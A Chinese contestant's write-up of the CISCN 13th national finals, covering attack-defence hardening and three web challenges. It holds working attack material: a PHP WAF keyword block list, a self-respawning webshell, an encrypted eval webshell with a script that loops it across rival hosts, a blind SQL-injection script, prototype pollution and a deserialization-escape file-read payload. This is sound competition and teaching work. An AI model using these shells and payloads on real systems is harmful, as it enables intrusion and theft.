第十三届全国大学生信息安全竞赛总决赛总结

首先ylbnb!

然后还是要好好总结一波的

去年没进决赛,当时去华科比赛一道web都没做出来;一年了,所有努力都没白费

也算是完成了一个心愿~

AWD

首先是对AWD的一些总结,第一天是AWD模式,下午打着打着平台就卡了起来,暂停了两三次,然后每次重启发现以前修的文件都被重置了,补到怀疑人生。。第一天苟到了25名,最后成绩也不知道算没算上。。。

step1.拖网站源码并备份多份

step2.D盾、rips、Kunlun-M扫描

step3.上传日志脚本、文件监控脚本、waf

一个包含了waf和日志监控的php脚本,能针对GET、POST、COOKIE中出现的敏感关键字进行过滤和提示,对headers中出现的敏感关键字进行记录和提示(待完善):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
#author:gtfly
error_reporting(0);

$filter = "/flag|readflag|system|call|passthru|exec|`|\*|\?|cat|tac|nl|more|less|tail|head|sort|rev|php/is";

function waf($arr){
global $filter;
$req_shell = false;
foreach ($arr as $key => $value){
if(preg_match($filter, $value)){
$req_shell = true;
}
$arr[$key] = preg_replace($filter, 'z', $value);
}
if($req_shell){
file_put_contents("/tmp/lingchen2.log.txt", "**request shell!**\n", FILE_APPEND);
}
return $arr;
}

$s = '==============================================================='."\n";
file_put_contents("/tmp/lingchen2.log.txt", $s, FILE_APPEND);
$s = "Path: ".$_SERVER["SCRIPT_FILENAME"]."\n";
$s .= "Remote_addr: ".$_SERVER["REMOTE_ADDR"]."\n";
$s .= "Request_method: ".$_SERVER["REQUEST_METHOD"]."\n";
$get = json_encode($_GET);
$s .= "Query_string_GET: ".$get."\n";
$post = json_encode($_POST);
$s .= "Query_string_POST: ".$post."\n";
$s .= "Cookie: ".$_SERVER["HTTP_COOKIE"]."\n";
$s .= "Request_time: ".date("Y/m/d H:i:s", $_SERVER["REQUEST_TIME"])."\n\n";


$_GET = waf($_GET);
$_POST = waf($_POST);
$_COOKIE = waf($_COOKIE);


file_put_contents("/tmp/lingchen2.log.txt", $s, FILE_APPEND);

if(preg_match($filter, json_encode(getallheaders()))){
file_put_contents("/tmp/lingchen2.log.txt", "**headers shell!**\n", FILE_APPEND);
}
file_put_contents("/tmp/lingchen2.log.txt", json_encode(getallheaders())."\n", FILE_APPEND);
$s = '==============================================================='."\n";
file_put_contents("/tmp/lingchen2.log.txt", $s, FILE_APPEND);
?>

将php核心文件(configuration.php、index.php)开头包含日志脚本。自动输出最新记录:

tail -f /tmp/lingchen2.log.txt

快速上waf:核心文件最前面加上

1
if(preg_match("/flag|readflag|system|call|passthru|exec|`|\*|\?|cat|tac|nl|more|less|tail|head|sort|rev|php/is", json_encode($_GET))){die();}

waf视情况而定,有时候ban的关键字太多会使网站直接down

查看nginx/apache2的日志:

1
2
tail -f /var/log/apache2/access.log
tail -f /var/log/nginx/access.log

nmap

扫描端口:

nmap -sS -p 1-65535 -v 127.0.0.1

扫描主机:

nmap -sn 192.168.43.0/24

比较可惜的就是当时太着急了,没有扫,直接用python写了个for循环开打,最后直接从100网段开始,导致可能遗漏了一些ip

改ssh密码

1
sudo passwd

设置redis密码

查看密码:

1
where redis.conf

搜索requirepass,该字段后面的就是密码

认证:

1
auth oldpassword

设置密码:

1
config set requirepass newpasswd

备份MySQL数据

导出Test数据库全部内容到log.sql文件:

1
mysqldump -uroot -p123456 Test > log.sql

log.sql文件导入数据库:

1
2
mysql> use Test;
mysql> source log.sql

更改mysql密码

方法1:

1
mysqladmin -u root -p password

根据提示输入原密码和新密码即可

其他方法(待测):

1
mysql -uroot -e "use mysql;UPDATE user SET plugin='mysql_native_password',authentication_string=PASSWORD('123') WHERE User='root';FLUSH PRIVILEGES;" -ppassword

Linux特殊文件名

遇到文件名前带-的马:

1
<?php file_put_contents('-1.php', 'xxx');?>

linux下以-开头的文件名,cp、mv、rm、ls等对他都是无效的,可以在操作时使用相对路径来解决这个问题

1
rm ./-1.php

当然,xshell、finalshell连上靶机右键删除也可以

不死马

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
unlink(__FILE__);
set_time_limit(0); //永久执行,直到进程结束
ignore_user_abort(true); //访问后,用户关闭url,进程不断,继续执行

$file = '.temp.apache2.php'; //
$shell = "<?php unlink(__FILE__);include('/flag.txt'); ?>";

while(true){
file_put_contents($file, $shell);
sleep(300); //5分钟
}
?>

根据每轮持续分钟数,访问生成的获取flag的马,获得flag后会自动删除,下一轮会再次出现,把握好时机便不会让对方轻易发现

杀不死马

1.在不死马目录写个删马的文件:

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
while (1) {
@unlink(".config.php");
usleep(1000); //频率尽量小
}
?>

但有的师傅的不死马文件名是随机生成的……….

2.自己写个shell用蚁剑连接,ps -ef看一下不死马的进程,然后 kill 掉就行了(待测)

3.上文件监控脚本,python2的和python3的都要提前准备好

冰蝎

某个文件是个冰蝎马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
@error_reporting(0);
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
}
?>

首先,先在目标机器写个phpinfo或者测试文件看看是否开启了openssl,经测试开启了,那么在本地使用相同的方式加密payload:

1
2
3
4
5
6
7
8
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$post = "aaaabce|file_put_contents('.config.inc.php', base64_decode(base64_decode('UEQ5d2FIQUtkVzVzYVc1cktGOWZSa2xNUlY5ZktUc0tjMlYwWDNScGJXVmZiR2x0YVhRb01DazdJQ0FLYVdkdWIzSmxYM1Z6WlhKZllXSnZjblFvZEhKMVpTazdDaVJtYVd4bElEMGdKeTVqYjI1bWFXY3VZbUZyTG5Cb2NDYzdJQW9rYzJobGJHd2dQU0FpUEQ5d2FIQWdjM2x6ZEdWdEtDZGpZWFFnTDJZcUp5azdJRDgrSWpzS0lDQWdJSGRvYVd4bEtIUnlkV1VwZXdvZ0lDQWdJQ0FnSUdacGJHVmZjSFYwWDJOdmJuUmxiblJ6S0NSbWFXeGxMQ0FrYzJobGJHd3BPd29nSUNBZ0lDQWdJSFZ6YkdWbGNDZ3hOVEF3TURBd01DazdDaUFnSUNCOUNqOCs=')));";
$post=openssl_encrypt($post, "AES128", $key);
echo $post;
?>

生成最终加密字符串后便可用python自动打了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

for i in range(100, 190):
ip = '172.20.{}.108'.format(i)
ip = 'http://' + ip + '/administrator/modules/mod_popular/'
s = requests.session()
s.get(ip) #第一次请求,生成session

#第二次使用相同session请求,传入加密字符串
s.post(ip+'shell.php', data='yj4bprROsVc5dUwU3rPc8SGzipYpmwSGaoh7eQUjnh4pFxiPSQImDXs8FkXWeMy+CmyRJEwpjj8rydVcUFjTRJ+ZHY2bRX2rEj60kf7jaRklWvknSpaK6uuV01i1sw9IUGLYGjuoXCO0W7ailetXf21Ij9xouixOGqXtj7P6gxyw1RT0oWgxXIQxppijwc8H5BRmDNnaSQo1P1dZUAG8k6CxYWE+5xB/G8zCeGWcReeyaJEOYUrDt9pg0fhqZ3NNa6YS/cHrk8JVk44niBGBnMDYJNMj/av0TBdL/Fgw9Jh/ilBokSqY5j88A7u/HIbM3Ht/Iw+jtH2CbI0RUTAbIkE46XMzlr3G2bHsy0AjhJsr21jV0P54ci/s+ea1gTpE30Tq/OyX8XQQNo7Ww1jLgKskA4jgPqtbDAolITXGl8WtGUVQD1r3qdi3yj/vkEzPfYjGuiMEBJf0rv3qZXnOToCKet21fMM/cKvgAxXyOYgNiPskswHG9Srvk70o4IyQdb+BEdinXH4rFODfMx0nKGB/TK4ha5wzzqTc7usP3XebGkJMp5m6ZDzfuoir/2Z/si25J3KG+C9Y29KkCkSwrfXfJ35QgDWW5ul/jbina180F8nn5wFoSXEJcIGX1ZtTeB34Dkki3lQwRmbNqq57rA==')
s.get(ip+'.config.inc.php') #访问不死马
res = s.get(ip+'.config.bak.php') #访问生成的马,获得flag
print(ip)
print(res.text)

不死马准备好了,可惜没用上

CTF

第二天是CTF解题模式,三个半小时,一共有三道web,做出来两道,凭这两道题苟到了二等奖,还是比较幸运~

web1

第一题是SQL注入,URL有个id和limit参数:

1
?id=1&limit=1

html中有个注释:

$query = "SELECT * FROM fake_flag WHERE id = $id limit 0,$limit";
//$query = "SELECT flag FROM real_flag WHERE id = $id limit 0,$limit";

首先fuzz一下id字段的waf:

再fuzz一下limit字段的waf(下图是允许使用的关键字):

可以看到,limit参数可以使用括号,那么想办法在limit字段进行注入,由于查询语句是直接拼接的,那么直接用注释符将limit字段注释掉,再在limit参数处进行注入即可

在limit参数处使用注释符*/时,提示:

1
your param limit can't >10 or <=0

那么在*/前加上一个数字即可,这里利用了php的弱类型

ban了空格、substr、逗号、ascii、等号等,直接上最终的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

for pos in range(1, 50):
#print(pos)
for j in range(33, 128):
a = chr(j)
j = hex(ord(a))[2:]
#print(j)
url = 'http://172.1.12.10/?id=1/*&limit=1*/%0aand%0acase%0awhen%0ahex(mid((SELECT%0agroup_concat(flag)%0aFROM%0areal_flag)from%0a{}%0afor%0a1))regexp%0a{}%0athen%0a1%0aelse%0a0%0aend'.format(pos, j)
s = requests.get(url)
#print(s.text)
if 'nothing' not in s.text and 'error' not in s.text:
print(a, end='')

当时出flag的时候不知道为啥没有字符l。。。手动加上提交就过了,不知道是不是脚本问题

web2

web2是一个nodejs的游戏题,首先可以选择职位、物品、物品在哪轮使用,然后会打boss,击败boss即可获得flag

在尝试了一段时间后,发现根本不可能打败boss。查看start路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
app.post('/start', (req, res) => {
if (req.body && typeof req.body== 'object' )
{
player = {
name : "ciscn",
career : "warrior",
item : "BYZF",
round_to_use : 1 //round_to_use表示在哪一轮使用物品
}

let tempPlayer = req.body

for ( let i in tempPlayer )
{
if (player[i]) {
if ( (i == 'career' && !careers.includes(tempPlayer[i])) || (i == 'item' && !items.includes(tempPlayer[i])) || (i == 'round_to_use' && !checkRound(tempPlayer[i])) || tempPlayer[i] === '') {
continue
}
player[i] = tempPlayer[i]
}
}
player.num = 1; //player剩余可`使用物品`的次数
player.HP = 100; //HP为血量
player.aggressivity = getPlayerAggressivity()

initMonster()
res.redirect("/battle")
} else {
res.redirect("/")
}
})

发现有个直接赋值的语句:

1
player[i] = tempPlayer[i]

而上面if语句中并没有对i的值进行限制,那么可以想到__proto__

但不能直接污染HP等属性,因为下面又重新进行了赋值。使用__proto__赋值时,既会被后面定义的属性值覆盖,又不能重新覆盖已存在的属性的值(因为找不到某个属性的值的时候才会去__proto__找)

那么要控制那个属性的值才能打败boss呢,其实有个最简单的方法,可以把源码中的属性都进行污染

查看/battle路由,开始攻击boss:

1
2
3
4
5
function playerAttackMonster()
{
monster.HP -= (getPlayerDamageValue())
monster.HP = keepTwoDecimal(monster.HP)
}

跟踪getPlayerDamageValue()

1
2
3
4
5
6
function  getPlayerDamageValue() //计算纯粹伤害
{
if (player.buff) {
return keepTwoDecimal(player.aggressivity+player.buff)
} else return player.aggressivity
}

那么直接将buff拉满,便可一下打败boss:

web3

最后一道是php的反序列化字符串逃逸,太菜了时间不够用就没做出来

主要功能有:登录、更新个人信息、上传头像

扫目录得到源码,首先是更新个人信息的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if (isset($_POST["old_password"])
&& isset($_POST["update_password"])
&& isset($_POST["update_age"])
&& isset($_POST["update_email"])
&& is_string($_POST["old_password"])
&& is_string($_POST["update_password"])
&& is_string($_POST["update_age"])
&& is_string($_POST["update_email"])
)
{
if ( preg_match('/[^\d]/', $_POST["update_age"]) || !filter_var($_POST["update_email"], FILTER_VALIDATE_EMAIL) || strlen($_POST["update_password"]) > 16 || preg_match('/\W/', $_POST["update_password"]) )
$user->alertMes("invalid information", "./dashboard.php");
$update_profile = array (
"old_password" => $_POST["old_password"],
"old_real_password" => $user->password,
"password" => $_POST["update_password"],
"age" => $_POST["update_age"],
"email" => $_POST["update_email"]
);
$user->update(serialize($update_profile));
}
?>

将信息数组序列化后调用User类的update方法:

1
2
3
4
5
6
7
8
9
public function update($profile)
{
$data = unserialize($this->waf($profile));
if ($data["old_password"] !== $data["old_real_password"] )
return $this->check_data($data);
$this->password = $data["password"];
$this->age = $data["age"];
$this->email = $data["email"];
}

使用waf方法进行关键字替换:

1
2
3
4
5
private function waf($string)
{
$waf = '/phar|file|gopher|http|sftp|flag/i';
return preg_replace($waf, 'index', $string);
}

User类最后有个析构方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function __destruct()
{
if ( isset($this->username)
&& isset($this->password)
&& isset($this->age)
&& isset($this->email)
&& isset($this->avatar)
&& isset($this->content)
&& is_string($this->avatar)
&& !empty($this->avatar)
&& !preg_match('/\:\/\//', $this->avatar) )
{
$this->content = file_get_contents(__DIR__ . "/" . $this->avatar);
$res = "<script>\nvar img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64,content\";\nimg.alt = \"user\";\ndocument.getElementById(\"pro-avatar\").append(img);\n</script>";
$res = str_replace("content", base64_encode($this->content), $res);
echo $res;
}
}

可以看到,只要能控制$this->avatar,便可以进行任意文件读取

正常序列化更新信息的数组:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$update_profile = array (
"old_password" => '123',
"old_real_password" => '123',
"password" => '456',
"age" => 20,
"email" => '123@123.com'
);

$a = serialize($update_profile);
echo $a;

得到:

a:5:{s:12:"old_password";s:3:"123";s:17:"old_real_password";s:3:"123";s:8:"password";s:3:"456";s:3:"age";i:20;s:5:"email";s:11:"123@123.com";}

其中对一些字段进行了过滤:

1
if ( preg_match('/[^\d]/', $_POST["update_age"]) || !filter_var($_POST["update_email"], FILTER_VALIDATE_EMAIL) || strlen($_POST["update_password"]) > 16 || preg_match('/\W/', $_POST["update_password"]) )

一些正则表达式:

1
2
3
4
5
6
7
8
. 匹配任意1个字符(除了\n)
[ ] 匹配[ ]中列举的字符
\d 匹配数字,即0-9
\D 匹配非数字,即不是数字
\s 匹配空白,即 空格,tab键
\S 匹配非空白
\w 匹配非特殊字符,即a-z、A-Z、0-9、_、汉字
\W 匹配特殊字符,即非字母、非数字、非汉字、非_

那么我们可以控制old_password字段,利用字符串替换后长度变化,逃逸出一个User对象

首先构造一个User对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class User
{
public $username;
public $password;
public $age;
public $email;
private $avatar;
private $content;

function __construct($username, $password, $age, $email, $avatar, $content){
$this->username = $username;
$this->password = $password;
$this->age = $age;
$this->email = $email;
$this->avatar = $avatar;
$this->content = $content;
}
}

$a = new User("a","b",10,"123@123.com", "flag.php", "asdf");
echo serialize($a);

将得到的结果用S转换下格式,以便能过waf:

1
O:4:"User":6:{s:8:"username";s:1:"a";s:8:"password";s:1:"b";s:3:"age";i:10;s:5:"email";s:11:"123@123.com";S:12:"\00User\00avatar";S:8:"\66\6c\61\67\2e\70\68\70";S:13:"\00User\00content";s:4:"asdf";}

构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
class User
{
public $username;
public $password;
public $age;
public $email;
private $avatar;
private $content;

function __destruct()
{
if ( isset($this->username)
&& isset($this->password)
&& isset($this->age)
&& isset($this->email)
&& isset($this->avatar)
&& isset($this->content)
&& is_string($this->avatar)
&& !empty($this->avatar)
&& !preg_match('/\:\/\//', $this->avatar) )
{
$this->content = file_get_contents(__DIR__ . "/" . $this->avatar);
$res = "<script>\nvar img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64,content\";\nimg.alt = \"user\";\ndocument.getElementById(\"pro-avatar\").append(img);\n</script>";
$res = str_replace("content", base64_encode($this->content), $res);
echo $res;
}
}
}

function waf($string)
{
$waf = '/phar|file|gopher|http|sftp|flag/i';
return preg_replace($waf, 'index', $string);
}
$s = 'filefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefile';
$s.= $s;
$s.= $s;
$s.= 'filefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefile';
$update_profile = array (
"old_password" => $s.'123";i:1;i:2;i:2;i:3;i:3;i:4;i:5;O:4:"User":6:{s:8:"username";s:1:"a";s:8:"password";s:1:"b";s:3:"age";i:10;s:5:"email";s:11:"123@123.com";S:12:"\00User\00avatar";S:8:"\66\6c\61\67\2e\70\68\70";S:13:"\00User\00content";s:4:"asdf";}}}}}}}}}',
"old_real_password" => '123',
"password" => '456',
"age" => 20,
"email" => '123@123.com',
);

$a = serialize($update_profile);
echo $update_profile["old_password"];
echo "\n";
// echo $a;

echo waf($a);

var_dump(unserialize(waf($a)));

但这样还是不行,因为反序列化后紧接着对password进行了比较:

1
2
if ($data["old_password"] !== $data["old_real_password"] )
return $this->check_data($data);

check_data对avatar的内容进行了检测,不通过则抛出异常,便不能进行destruct:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private function check_data($data)
{
foreach( $data as $key => $value)
{
if ( is_array($value) )
return $this->check_data($value);
if ( is_object($value) && $value instanceof User)
{
$data_avatar = $value->get_avatar();
if ( is_string($data_avatar) && !empty($data_avatar)) {
$content = file_get_contents(__DIR__ . "/" . $data_avatar);
$png_header = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52";
if (strpos($content, $png_header) === false )
{
echo "666";
throw new Exception("png content got an unexpected Exception");
}
}
}
}
return true;
}

因此构造时要使old_password的值和old_real_password的值相等

构造的时候利用数组后面的相同键的值会覆盖前面的值,example:

1
2
3
<?php

var_dump(unserialize('a:2:{s:12:"old_password";s:1:"a";s:12:"old_password";s:1:"b";}'));

结果:

1
2
3
4
array(1) {
'old_password' =>
string(1) "b"
}

让原本的old_password用来逃逸,后面再构造一个old_password,用来进行比较;构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
include "lib.php";

function waf($string)
{
$waf = '/phar|file|gopher|http|sftp|flag/i';
return preg_replace($waf, 'index', $string);
}

$count = 270;
$s = '';

for($i=0;$i<$count;$i++){
$s.='file';
}

$update_profile = array (
"old_password" => $s . '";s:17:"old_real_password";s:1:"a";s:12:"old_password";s:1:"a";s:1:"c";O:4:"User":6:{s:8:"username";s:1:"a";s:8:"password";s:1:"b";s:3:"age";i:10;s:5:"email";s:11:"123@123.com";S:12:"\00User\00avatar";S:8:"\66\6c\61\67\2e\70\68\70";S:13:"\00User\00content";s:4:"asdf";}}',
"old_real_password" => '123',
"password" => '456',
"age" => 20,
"email" => '123@123.com',
);

$a = serialize($update_profile);
echo $update_profile["old_password"];
echo "\n";
// echo $a;

// echo waf($a);

// $data = unserialize(waf($a));

此时old_passwordold_real_password都是a;最终payload:

1
filefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefilefile";s:17:"old_real_password";s:1:"a";s:12:"old_password";s:1:"a";s:1:"c";O:4:"User":6:{s:8:"username";s:1:"a";s:8:"password";s:1:"b";s:3:"age";i:10;s:5:"email";s:11:"123@123.com";S:12:"\00User\00avatar";S:8:"\66\6c\61\67\2e\70\68\70";S:13:"\00User\00content";s:4:"asdf";}}

用此密码注册,然后更新个人信息时进行抓包,发包:

解码即可得到flag